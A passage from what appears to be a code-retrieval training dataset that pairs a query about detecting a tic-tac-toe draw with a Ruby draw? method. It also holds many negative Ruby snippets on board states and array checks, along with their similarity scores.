"def no_consecutive_repeats?(arr)\n arr.each_with_index do |ele,idx|\n if arr[idx+1] == ele\n return false\n end\n end\n true\nend",
"def long_planeteer_calls(array)\n array.any?{|call| call.length > 4}\n #any?=>returns TRUE if ar least 1 (in this case,4) element is true\nend",
"def reduce_to_any_true(source_array)\n i = 0 \n while i < source_array.length do\n return true if source_array[i]\n i += 1 \n end\nend",
"def include_array?(array)\n array.any? { |member| array?(member) }\n end",
"def no_consecutive_repeats?(arr)\n (arr.length-1).times do |i|\n return false if arr[i] == arr[i+1]\n end\n true\nend",
"def no_consecutive_repeats?(arr)\n new_arr = []\n arr.each do |ele|\n if new_arr[-1] == ele\n return false\n else\n new_arr << ele\n end\n end\n true\nend",
"def check_positions(positions)\n positions.each do |position|\n unless check_position(position)\n return false\n end\n end\n true\n end",
"def sum_to_zero(array)\n array_of_nums = array.map {|i| i.abs}\n duplicates = array_of_nums.select {|i| array_of_nums.count(i) > 1}\n return true if duplicates.uniq.length > 0\n false\nend",
"def got_three?(array)\n\tcontrol_point = false\n\tfor i in 0..array.length-3\n\t\tif array[i] == array[i+1] && array[i] == array[i+2]\n\t\t\tcontrol_point = true\n\t\tend\n\tend\n\tcontrol_point\nend",
"def contains_duplicate(nums)\n nums.length.times do |i|\n (0..i - 1).each do |j|\n return true if nums[j] == nums[i]\n end\n end\n\n false\nend",
"def reduce_to_any_true(source_array)\n i = 0\n\n while i < source_array.length do\n if source_array[i] == true\n return true\n end\n i += 1\n end\n \n return false\nend",
"def subset_in_array?(array, value)\n result = 1.upto(array.length).flat_map do |n|\n array.combination(n).to_a\n end\n result.include?(value)\nend",
"def valid_position?(position) #=> Return true if pos is correct (-> 0 0)\r\n position.is_a?(Array) &&\r\n position.length == 2 &&\r\n position.all? {|x| (0..8).to_a.include?(x)}\r\n end",
"def winner?\n (self.array & [\"a1\",\"a2\",\"a3\"]).length == 3 || (self.array & [\"b1\",\"b2\",\"b3\"]).length == 3 || (self.array & [\"c1\",\"c2\",\"c3\"]).length == 3 || (self.array & [\"a1\",\"b1\",\"c1\"]).length == 3 || (self.array & [\"a2\",\"b2\",\"c2\"]).length == 3 || (self.array & [\"a3\",\"b3\",\"c3\"]).length == 3 || (self.array & [\"a1\",\"b2\",\"c3\"]).length == 3 || (self.array & [\"c1\",\"b2\",\"a3\"]).length == 3\n end",
"def can_win?(array, index)\n\nend",
"def array_of_fixnums?(array)\n for element in array\n unless element.is_a? Fixnum\n return false\n end\n end\n return true\nend",
"def can_win(array, index)\r\n positions_to_try = [index]\r\n visited_positions = Array.new(array.length, false)\r\n visited_positions[index] = true\r\n\r\n until positions_to_try.empty?\r\n # We should probably use a queue for this.\r\n position = positions_to_try.shift\r\n value = array[position]\r\n\r\n if value == 0\r\n return true\r\n end\r\n\r\n [position + value, position - value].each do |pos|\r\n next if visited_positions[pos]\r\n next if (pos < 0 || array.length <= pos)\r\n\r\n positions_to_try << pos\r\n # This insures we don't add a position twice to our queue.\r\n visited_positions[pos] = true\r\n end\r\n end\r\n\r\n false\r\nend",
"def check_array(array,target)\n if array.include?(target)\n return true\n else\n return false\n end\nend",
"def over?(board_array)\n if full?(board_array) || won?(board_array)\n return true\n else\n return false\n end\nend",
"def has_duplicate?(array)\n array.each_with_index do |_, i|\n array.each_with_index do |_, j|\n if i != j && array[i] == array[j]\n return true\n end\n end\n end\n false\nend",
"def is_sorted?(arr)\n temp = arr[0]\n arr.all? { |i| i >= temp && temp = i }\nend",
"def did_anyone_win?(array)\n\t\tif (array.include?(0) and array.include?(4) and array.include?(8))\n\t\t\treturn true\n\t\telsif (array.include?(1) and array.include?(4) and array.include?(7))\n\t\t\treturn true\n\t\telsif (array.include?(2) and array.include?(4) and array.include?(6))\n\t\t\treturn true\n\t\telsif (array.include?(3) and array.include?(4) and array.include?(5))\n\t\t\treturn true\n\t\telsif (array.include?(8) and array.include?(4) and array.include?(0))\n\t\t\treturn true\n\t\telsif (array.include?(0) and array.include?(3) and array.include?(6))\n\t\t\treturn true\n\t\telsif (array.include?(1) and array.include?(4) and array.include?(7))\n\t\t\treturn true\n\t\telsif (array.include?(2) and array.include?(5) and array.include?(8))\n\t\t\treturn true\n\t\telsif (array.include?(0) and array.include?(1) and array.include?(2))\n\t\t\treturn true\n\t\telsif (array.include?(3) and array.include?(4) and array.include?(5))\n\t\t\treturn true\n\t\telsif (array.include?(6) and array.include?(7) and array.include?(8))\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def any?(array)\n array.each do |element|\n return true if yield(element)\n end\n \n false\nend",
"def check_if_over(game_array)\n if game_array[0][0] == game_array[1][0] && game_array[0][0] == game_array[2][0]\n return true\n elsif game_array[0][1] == game_array[1][1] && game_array[0][1] == game_array[2][1]\n return true\n elsif game_array[0][2] == game_array[1][2] && game_array[0][2] == game_array[2][2]\n return true\n elsif game_array[0][0] == game_array[0][1] && game_array[0][0] == game_array[0][2]\n return true\n elsif game_array[1][0] == game_array[1][1] && game_array[1][0] == game_array[1][2]\n return true\n elsif game_array[2][0] == game_array[2][1] && game_array[2][0] == game_array[2][2]\n return true\n elsif game_array[0][0] == game_array[1][1] && game_array[0][0] == game_array[2][2]\n return true\n elsif game_array[1][2] == game_array[1][1] && game_array[1][2] == game_array[2][0]\n return true\n else\n return false\n end\nend",
"def solution(*arr)\n return false if arr.empty?\n arr.join.chars.length != arr.join.chars.uniq.length\nend",
"def repeats_twice?(arr)\n\nend",
"def any?(array)\n array.each do |el|\n return true if yield(el)\n end\n\n false\nend",
"def exactly?(arr, n , &prc)\n count = 0\n arr.each do |ele|\n count += 1 if prc.call(ele)\n end\n return true if n == count\n false\nend",
"def array_42(array)\n a = false\n\tarray.each {|i| if i == 42 then a = true end}\n return a \nend",
"def got_three?(arr)\n batches = []\n arr.each_cons(3) {|a, b, c| batches << [a, b, c]}\n r = 0\n batches.each do |batch|\n if batch.uniq.length == 1\n r += 1; break\n end\n end\n if r > 0\n true\n else\n false\n end\nend",
"def every?(arr, &blck)\n # arr.all? { |el| blck.call(el) }\n arr.each do |el|\n if !blck.call(el)\n return false\n end\n end\n return true\nend",
"def equals_index?(arr)\n for i in 0...arr.length do\n if arr[i] == i\n return true\n end\n end \n return false\nend",
"def got_three? (arr)\n\tcount = 0\n \tlast = arr.first\n \tarr.each do |d|\n \tif d==last\n \t\tcount += 1\n \t\treturn true if count==3\n \telse\n \t\tlast = d\n \t\tcount = 1\n \tend\n \tend\n \tfalse\nend",
"def can_win(array, index)\n positions_to_try = [index]\n visited_positions = Array.new(array.length, false)\n visited_positions[index] = true\n\n until positions_to_try.empty?\n # We should probably use a queue for this.\n position = positions_to_try.shift\n value = array[position]\n\n if value == 0\n return true\n end\n\n [position + value, position - value].each do |pos|\n next if visited_positions[pos]\n next if (pos < 0 || array.length <= pos)\n\n positions_to_try << pos\n # This insures we don't add a position twice to our queue.\n visited_positions[pos] = true\n end\n end\n\n false\nend",
"def valid_contents?(arr)\n arr.each { |e| return false unless (1..@size_pow).include?(e) }\n true\n end",
"def no_consecutive_repeats?(arr)\n i = 0\n return true if arr.length == 1\n\n while i < arr.length - 1\n return false if arr[i] == arr[i + 1]\n i += 1\n end\n true\nend"
] |
[
"0.75918967",
"0.72955745",
"0.7262054",
"0.7212886",
"0.70387447",
"0.702919",
"0.70074874",
"0.70060676",
"0.69824874",
"0.69789106",
"0.69506645",
"0.69408375",
"0.69335663",
"0.6922789",
"0.69175684",
"0.6887608",
"0.68833244",
"0.6854301",
"0.68147755",
"0.6814752",
"0.6792101",
"0.6780432",
"0.67791003",
"0.67719406",
"0.67702144",
"0.676774",
"0.67576975",
"0.6751205",
"0.6744549",
"0.6744549",
"0.6733795",
"0.6728245",
"0.6713109",
"0.6712413",
"0.6709",
"0.6708868",
"0.67015195",
"0.67008126",
"0.6700628",
"0.66993463",
"0.6685869",
"0.66851556",
"0.6675158",
"0.6652195",
"0.66490626",
"0.6632133",
"0.66308826",
"0.6630805",
"0.66276777",
"0.66274697",
"0.66267574",
"0.6625973",
"0.6624392",
"0.6615244",
"0.6607098",
"0.65994126",
"0.6596004",
"0.6593832",
"0.6588063",
"0.65840685",
"0.6582306",
"0.6577277",
"0.6567076",
"0.65625834",
"0.65620863",
"0.65537447",
"0.65503633",
"0.654769",
"0.6542369",
"0.653973",
"0.6537252",
"0.6536626",
"0.6535146",
"0.65350175",
"0.6520468",
"0.65154666",
"0.6512424",
"0.650518",
"0.64978933",
"0.6497282",
"0.64954686",
"0.6492944",
"0.64879405",
"0.6484338",
"0.6483874",
"0.6481961",
"0.6481697",
"0.6471728",
"0.6467398",
"0.64661443",
"0.64650726",
"0.6463863",
"0.64618",
"0.6457052",
"0.6456718",
"0.6443351",
"0.6443196",
"0.64428014",
"0.64424807",
"0.64422876",
"0.643597"
] |
0.0
|
-1
|
Takes a board as an argument and returns true for a draw, else false
|
def draw?(board)
!won?(board) && full?(board)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def draw?(board)\n\t if !won?(board) && full?(board)\n\t return true\n\t else\n\t return false\n\t end\nend",
"def draw?(board)\n if (full?(board) == false)\n return false\n else\n if (won?(board) != false)\n return false\n else\n return true\n end\n end\n end",
"def draw?(board)\n redundant = won?(board)\n if redundant\n return false\n end\n return true\nend",
"def draw?(board)\n if won?(board)\n return false\n else\n return true\n end\nend",
"def draw?(board)\n if full?(board)\n if !won?(board)\n return true\n else\n return false\n end\n end\nend",
"def draw?(board)\n if (full?(board) && !won?(board))\n return true\n else\n return false\n end\nend",
"def draw?(board)\n\tif won?(board) == nil && full?(board) == true\n\t\treturn true\n\tend\nend",
"def draw?(board)\n if won?(board) || !full?(board)\n false\n else\n true\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n elsif !won?(board) && full?(board)\n return false\n elsif won?(board)\n return false\n end\n end",
"def draw?(board)\n if full?(board) && !won?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) && !won?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n !won?(board) && full?(board)\n end",
"def draw?(board)\n if won?(board)\n return false\n elsif full?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board)\n false\n elsif full?(board)\n true\n else\n false\n end\nend",
"def draw?(board)\n if full?(board) && !(won?(board))\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n else\n false\n end\nend",
"def draw?(board)\n board_complete = full?(board)\n board_won = won?(board)\n board_complete && !board_won ? true : false\nend",
"def draw?(board)\r\n if full?(board) && !won?(board)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def draw?(board)\n if not won?(board)\n return full?(board)\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) == true && won?(board) == false\n return true\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n elsif !won?(board) && !full?(board)\n return false\n else won?(board)\n return false\n end\n end",
"def draw?(board)\n if full?(board) && !won?(board) then return true\n end\nend",
"def draw?(board)\n if won?(board) != false || full?(board) == false\n return false\n else\n return true\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n return full?(board) && !won?(board)\nend",
"def draw?(board)\n if (full?(board) == TRUE && won?(board) == FALSE)\n return TRUE\n else\n return FALSE\n end\nend",
"def draw?(board)\n (full?(board) && !won?(board)) ? true : false\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n end\nend",
"def draw?\n board.full_board?\n end",
"def draw?(board)\n if won?(board) == false && full?(board) == true\n return true\n end\nend",
"def draw?(board)\n if full?(board) && !(won?(board))\n true\n else\n false\n end\nend",
"def draw?(board)\n return full?(board) && !won?(board) ? true : false\nend",
"def draw?(board)\n if won?(board)\n return false\n elsif !won?(board) && full?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if won?(board) == false && full?(board) == true\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if (!won?(board)) && (full?(board))\n return true\n end\n return false\nend",
"def draw?(board)\n if !(won?(board)) && full?(board)\n return true\n end\nend",
"def draw?(board)\n if full?(board) && (won?(board) == false)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) == true && won?(board) == false\n true\n end\nend",
"def draw?(board)\n return !won?(board) && full?(board)\nend",
"def draw?(board)\n (full?(board)) && !(won?(board))\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n end\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n true\n else\n false\n end\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n return true\n end\nend",
"def draw?(board)\n if won?(board)\n return false\n elsif full?(board)\n return true\n end\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\n full?(board) && !won?(board)\nend",
"def draw?(board)\nfull?(board) && !won?(board)\nend",
"def draw?(board)\n if (!full?(board) && !won?(board)) || won?(board)\n false\n elsif full?(board) == true\n true\n end\nend",
"def draw?(board)\n won?(board) == false && full?(board) == true ? true : false\nend",
"def draw?(board)\n\n if full?(board) == true\n if won?(board) == nil\n return true\n else\n return false\n end\n else\n return false\n end\n\nend",
"def draw?(board)\n !won?(board) && full?(board)\nend",
"def draw?(board)\n if won?(board) # BROKEN! If #won? returns an array, return false\n false\n elsif !won?(board) && full?(board) # Draw conditions: No win and full board\n true\n else\n false\n end\nend",
"def draw?(board)\n full?(board) && !(won?(board))\nend",
"def draw?(board)\n won?(board) == false && full?(board) == true ? (return true) : (return false)\nend",
"def draw?(board)\n full?(board) && !won?(board)\n #full?(board) && won?(board) == false\n #with ^^ didnt \"return true for draw\"\nend",
"def draw?(board)\n won = won?(board)\n full = full?(board)\n if won == false && full == true\n return true\n elsif won == false && full == false\n return false\n end\nend",
"def draw?(board_array)\n if won?(board_array)\n return false\n else\n return true\n end\nend",
"def draw?(board)\n if !won?(board) && !full?(board)\n elsif won?(board)\n else !won?(board) && full?(board)\n return true\n end\nend",
"def draw? (board)\n isFull = full?(board)\n isWon = won?(board)\n (isFull && isWon == false)\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n elsif !won?(board) && !full?(board) || won?(board)\n return false\n end\nend",
"def draw?\n @board.full? && !won?\n end",
"def draw?\n @board.full? && !won?\n end",
"def draw?(board)\n if won?(board) == false\n return true\n elsif full?(board) == true && won?(board) == false\n return true\n elsif full?(board) == false && won?(board) == false\n return false\n end\nend",
"def draw?\n @board.full? && !won?\n end",
"def draw?(board)\n if !won?(board) && full?(board)\n return true\n if !won?(board) && !full?(board) && won?(board)\n return false\n end\nend\nend",
"def draw?(board)\n won_check = won?(board)\n fullboard_check = full?(board)\n if won_check == false && fullboard_check == true\n return true\n elsif won_check == false && fullboard_check == false\n return false\n elsif won_check != false\n return false\n end\nend",
"def draw?\n self.board.full? && !self.won?\n end",
"def draw?\n if @board.include?(nil) \n return false\n elsif winner == false && @board.include?(nil) == false\n return true\n end\n end",
"def draw? (board)\n if !won?(board) #returns true if no win\n if full?(board) #but board is full\n return true\n end\n end\n return false\nend",
"def draw?(board)\r\n won?(board) == false && full?(board) == true\r\nend",
"def draw?(board)\n full = full?(board) == true\n won = won?(board) != false\n\n if ( !won && full )\n return true\n\n elsif ( !won && !full )\n return false\n\n elsif ( won )\n return false\n end\nend",
"def draw?(board)\n if won?(board) == nil && full?(board) == true\n return true\n end\n\nend",
"def draw?(board)\n if won?(board) == false and full?(board) == true\n return true\n elsif full?(board) == false and won?(board) == false\n return false\n elsif won?(board) == true\n return false\n end\nend",
"def draw?(board)\n if !won?(board) && full?(board) \n return true \n elsif !won?(board) && !full?(board) \n return false \n elsif won?(board) \n return false\n end\nend",
"def draw?\n !board.include?(0) && winner.nil?\n end",
"def draw?\n !won? && board.full?\n end",
"def draw?\n @board.full? && !won?;\n end",
"def over?(board)\n if won?(board) || draw?(board)\n return true\n else \n return false\n end\n end",
"def over?(board)\n if won?(board)\n return true\n elsif draw?(board)\n return true\n else\n return false\n end\nend",
"def draw?(board)\n if full?(board) && !won?(board)\n true\n elsif !(won?(board) && full?(board)) || won?(board)\n false\n end\nend",
"def draw? (board)\n if full?(board) == true\n !won?(board)\n end\nend",
"def over?(board)\n if won?(board)\n true\n elsif draw?(board)\n true\n else\n false\n end\nend",
"def draw?\n board.full? && self.won? == false\n end",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n end\nend",
"def draw?(board)\n won?(board) == nil && full?(board) == true\nend",
"def draw?(board)\n if !won?(board) && full?(board)\n puts \"This game is draw - sorry ladies and gentlemen\"\n return true\n end\nend",
"def over?(board)\n if draw?(board)\n return true\n end\n if won?(board)\n return true\n end\nend"
] |
[
"0.8678764",
"0.863306",
"0.86123383",
"0.8589062",
"0.85821104",
"0.8572408",
"0.8560225",
"0.8560191",
"0.8537801",
"0.8537421",
"0.8537421",
"0.8535254",
"0.8524593",
"0.8522383",
"0.8522383",
"0.8507168",
"0.85056376",
"0.8504263",
"0.8495886",
"0.84906656",
"0.84821564",
"0.84776646",
"0.84722155",
"0.847006",
"0.84675556",
"0.84675556",
"0.84675556",
"0.8467504",
"0.84661573",
"0.846154",
"0.8457733",
"0.8457733",
"0.84563076",
"0.8452162",
"0.8444224",
"0.8438126",
"0.8429084",
"0.8425634",
"0.84235567",
"0.84058595",
"0.8398925",
"0.83983827",
"0.8387166",
"0.837158",
"0.8363605",
"0.8356803",
"0.8356803",
"0.8354687",
"0.8348881",
"0.83437115",
"0.83437115",
"0.83437115",
"0.83437115",
"0.83273095",
"0.8325203",
"0.8321073",
"0.83006597",
"0.8289532",
"0.8284666",
"0.8284281",
"0.82695174",
"0.82686484",
"0.8265625",
"0.82640344",
"0.82636553",
"0.82602614",
"0.82558566",
"0.8244149",
"0.8244149",
"0.8241858",
"0.8234941",
"0.8233838",
"0.8225535",
"0.8217798",
"0.8216649",
"0.82112634",
"0.8203639",
"0.82025295",
"0.82024616",
"0.8182466",
"0.8182264",
"0.818196",
"0.8181174",
"0.8180291",
"0.81719565",
"0.81706464",
"0.81679773",
"0.8162438",
"0.81564194",
"0.81386185",
"0.81329614",
"0.8132194",
"0.8127827",
"0.81209314"
] |
0.83207524
|
59
|
Takes a board as an argument and returns true if the game is over else false
|
def over?(board)
draw?(board) || won?(board)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def over?(board)\n if won?(board) || draw?(board)\n return true\n else \n return false\n end\n end",
"def over?(board)\n if full?(board) || won?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n if draw?(board) || full?(board) || won?(board)\n return true\n else\n false\n end\nend",
"def over?(board)\n if draw?(@board) || won?(@board) || full?(@board)\n return true\n else\n return false\n end\n end",
"def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n won?(board) || full?(board)\n end",
"def over?(board)\n \n if draw?(board) || won?(board) || full?(board)\n return true\n else\n return false\n end\n \n end",
"def over?(board)\n if draw?(board)\n return true\n end\n if won?(board)\n return true\n end\nend",
"def over?(board)\n if draw?(board) == true || full?(board) == true || won?(board)\n return true\n else\n return false\n end\n end",
"def over?(board)\n if draw?(board) || won?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\n if won?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\n if won?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\r\n if ( won?(board) || draw?(board) || full?(board))\r\n return true\r\n else\r\n return false\r\n end\r\nend",
"def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\n if won?(board) || draw?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n end\nend",
"def over?(board)\n if (draw?(board) || won?(board))\n return true\n else\n return false\n end\nend",
"def over?(board)\n if won?(board)\n return true\n elsif draw?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n if won?(board) || draw?(board) || full?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n if won?(board) or draw?(board) or full?(board)\n return true\n else\n return false\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def game_over?\n @board.game_over?\n end",
"def over?(board)\n if draw?(board) || won?(board)\n return true\n end\n if !won?(board)\n return false\n end\nend",
"def over?(board)\n if won?(board)\n true\n elsif draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n\tif draw?(board) == true\n\t\treturn true\n\n\telsif won?(board)\n\t\treturn true\n\tend\nend",
"def over?(board)\n won?(board) || full?(board) || draw?(board)\n end",
"def over?(board)\n if draw?(board) || won?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\n if draw?(board) || won?(board) || full?(board)\n return true\n end\nend",
"def over?(board)\r\n if draw?(board) || won?(board)\r\n true\r\n else\r\n false\r\n end\r\nend",
"def over?(board)\n if won?(board) || draw?(board) #BE CAREFUL! If you flipped this, the test wouldn't have passed because it wouldn't stopped after the fail\n true\n end\nend",
"def over? (board)\n if draw? (board)\n return true\n elsif won? (board)\n return true\n end\nend",
"def over?(board)\n won?(board) || draw?(board)\n end",
"def over?(board)\n if(draw?(board) || won?(board))\n true\n else\n false\n end\nend",
"def over?(board)\n if(draw?(board) || won?(board))\n true\n else\n false\n end\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\n else\n false\n end\nend",
"def over?(board)\n if full?(board) || won?(board) || draw?(board) then return true\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n true\n end\nend",
"def over?(board)\n if won?(board) || full?(board) || draw?(board)\n return true\n else\n return nil\n end\nend",
"def over?(board)\n if won?(board)\n true\n elsif full?(board)\n true\n elsif !full?(board)\n false\n else draw?(board)\n true\n end\nend",
"def over?(board)\n return won?(board) || draw?(board) ? true : false\nend",
"def over?(board)\n return won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n if(!!won?(board))\n return true\n elsif(full?(board))\n return true\n end\n return false\nend",
"def over?(board)\n won = won?(board)\n draw = draw?(board)\n # Due to the won? method never explicitly returning a true value,\n # the program must instead check if it isn't false.\n if draw == true || won != false\n return true\n else\n return false\n end\nend",
"def over?(board)\n if won?(board) != nil || draw?(board) == true || full?(board) == true\n return true\n end\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\n end\nend",
"def over?(board)\n return won?(board) || draw?(board)\nend",
"def over?(board)\n if(!!won?(board))\n return true\n end\n if(draw?(board))\n return true\n end\n return false\nend",
"def over?(board)\n draw?(board) || won?(board) || full?(board)\nend",
"def over?(board)\n if draw?(board) || full?(board)\n true\n elsif won?(board) != false && won?(board) != []\n true\n else\n false\n end\nend",
"def is_over?(board)\n # if board has more than one row, compare rows\n if board.length > 1\n (0..board.length - 2).each do |element|\n #in case any 2 arrays are not equal, the game is not over\n return false if board[element] != board[element + 1]\n end\n # else compare each element on the single row\n else\n (0..board[0].length - 2).each do |element|\n return false if board[0][element] != board[0][element + 1]\n end\n end\n #all elements are equal therefore the game is over\n return true\nend",
"def over?(board)\n (won?(board) || draw?(board)) ? true : false\nend",
"def over?(board)\n draw?(board) || full?(board) || won?(board)\nend",
"def over?(board)\n draw?(board) || full?(board) || won?(board)\nend",
"def over?(board)\n\n if won?(board) != nil || draw?(board) == true || full?(board) == true\n return true\n else\n return false\n end\n\nend",
"def over?(board)\n if won?(board) || draw?(board)\n true\nelse\n false\n end\nend",
"def over?(board)\n if draw?(board)\n return true\n \n elsif won?(board) && full?(board)\n return true\n \n elsif won?(board) && !full?(board)\n return true\n \n elsif !(won?(board) && full?(board))\n return false\n end \nend",
"def over?(board)\n if (full?(board) == true || draw?(board) == true || won?(board) != false) then\n true\n end\nend",
"def over?(board)\n draw?(board) == true || won?(board) != false ? true : false\nend",
"def game_is_over(board)\n someone_wins(board) || tie(board)\n end",
"def over?(board)\n full?(board) || won?(board)\nend",
"def over?(board)\n if won?(board) != nil || draw?(board) == true || full?(board) == true\n return true\n end\nend",
"def over?(board)\n if (won?(board) != FALSE)\n return TRUE\n \n elsif (draw?(board) == TRUE)\n return TRUE\n \n elsif (full?(board) == TRUE)\n return TRUE\n \n else \n return FALSE\n end\nend",
"def over?(board)\n full = full?(board) == true\n won = won?(board) != false\n draw = draw?(board) == true\n\n if ( won )\n return true\n\n elsif ( won && full )\n return true\n\n elsif ( draw )\n return true\n end\nend",
"def over?(board)\n won?(board) || scratch?(board) || full?(board)\nend",
"def over?(board)\n if (won?(board) || full?(board) || draw?(board)) || (won?(board) && !full?(board))\n return true\n else\n return false\n end\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board)\nend",
"def over?(board)\n won?(board) || full?(board) || draw?(board)\nend",
"def over?(board)\n if (won?(board) != false)\n true\n elsif (draw?(board) == true)\n true\n else\n false\n end\nend",
"def game_over?(board,moves)\n \n winner?(board) || tie?(moves)\n\n end",
"def over?(board)\n if draw?(board)\n true\n elsif won?(board) != nil && full?(board) == true\n true\n elsif won?(board) != nil && full?(board) == false\n true\n else\n false\n end\nend",
"def over?(board)\n won?(board) || draw?(board)\nend",
"def over?(board)\n if draw?(board)\n true\n elsif won?(board) != nil && full?(board) == true\n true\n elsif won?(board) != nil && full?(board) == false\n true\n else\n false\n end\nend",
"def over?\n\t\t@over = true\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |col|\n\t\t\t\t@over = false && break if @board[row][col] == \" \"\n\t\t\tend\n\t\tend\n\t\t@over\n\tend",
"def over?(board)\nif won?(board) != nil || draw?(board) == true\n return true\nend\nend",
"def over?(board)\n won?(board) || draw?(board) || full?(board);\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def over?(board)\n full?(board) || won?(board) || draw?(board)\nend",
"def over?(board)\n#over? == true if won? is true OR draw is true. There is no need to\n#check for full, as a full board will happen if there is a draw..\n won?(board) || draw?(board)\nend",
"def win_check\r\n if $board == $boardwin\r\n true\r\n else\r\n false\r\n end\r\nend",
"def over?(board)\n full?(board) || draw?(board) || won?(board)\nend",
"def over?(board)\n won?(board).is_a?(Array) || draw?(board) == true ? (return true) : (return false)\nend",
"def over?(board)\n if (draw?(board) == true) || (won?(board) != nil)\n over = true\n else\n over = false\n end\nend",
"def over?\n winner = @light_turn ? DARK : LIGHT\n if board.win?(winner)\n puts \"#{winner} Wins!\"\n return true\n elsif board.available_columns.empty?\n puts \"Tie game!\"\n return true\n end\n false\n end",
"def over?(board)\n if won?(board) != false\n puts \"won board is not false\"\n end\n\n if full?(board) == true || draw?(board) == true || won?(board) != false\n true\n end\nend",
"def game_over?\n possible_moves(:white).empty? && possible_moves(:black).empty? \n end",
"def over?(board)\n draw?(board) ||\n won?(board)\nend",
"def over?\n won? || board.full? || draw?\n end",
"def over?(board)\n w = won?(board)\n if w.kind_of?(Array) == true || draw?(board) == true || full?(board) == true\n return true\n end\nend",
"def over?(board)\n #if board won, draw, or full = true\n #if board !won, !draw, or !full = false\n if won?(board) == true || draw?(board) == true || full?(board) == true\n return true\n end\nend",
"def over?(board) \nwon?(board) || full?(board) || draw?(board) ? true : false \nend"
] |
[
"0.8613887",
"0.855161",
"0.8547901",
"0.85068434",
"0.8494164",
"0.8494164",
"0.8485292",
"0.8483596",
"0.84664834",
"0.8463868",
"0.8462407",
"0.84535986",
"0.84535986",
"0.8444145",
"0.8441578",
"0.8441578",
"0.84413177",
"0.84376",
"0.84353673",
"0.8421253",
"0.84211284",
"0.8416125",
"0.8416125",
"0.8408046",
"0.84023744",
"0.8392772",
"0.838814",
"0.83770436",
"0.8372912",
"0.8372912",
"0.8370224",
"0.83617973",
"0.83578557",
"0.83486015",
"0.8341353",
"0.8341353",
"0.8331764",
"0.83295465",
"0.83135116",
"0.83113456",
"0.8277575",
"0.827275",
"0.82642514",
"0.82529086",
"0.8249933",
"0.82487905",
"0.82481045",
"0.8235999",
"0.82315147",
"0.822773",
"0.8223943",
"0.82087314",
"0.82040495",
"0.82022285",
"0.82022285",
"0.82008755",
"0.8190689",
"0.8185039",
"0.8178757",
"0.81731206",
"0.8164681",
"0.81520396",
"0.8141401",
"0.81356114",
"0.8124944",
"0.8108108",
"0.8101978",
"0.80950546",
"0.80950546",
"0.80950546",
"0.80950546",
"0.80950546",
"0.80950546",
"0.80950546",
"0.80950546",
"0.8091129",
"0.8079509",
"0.80676126",
"0.80652326",
"0.8064762",
"0.80640936",
"0.8049201",
"0.80249345",
"0.8022743",
"0.80167246",
"0.80167246",
"0.8007234",
"0.8006032",
"0.8005981",
"0.7998852",
"0.7992893",
"0.7987805",
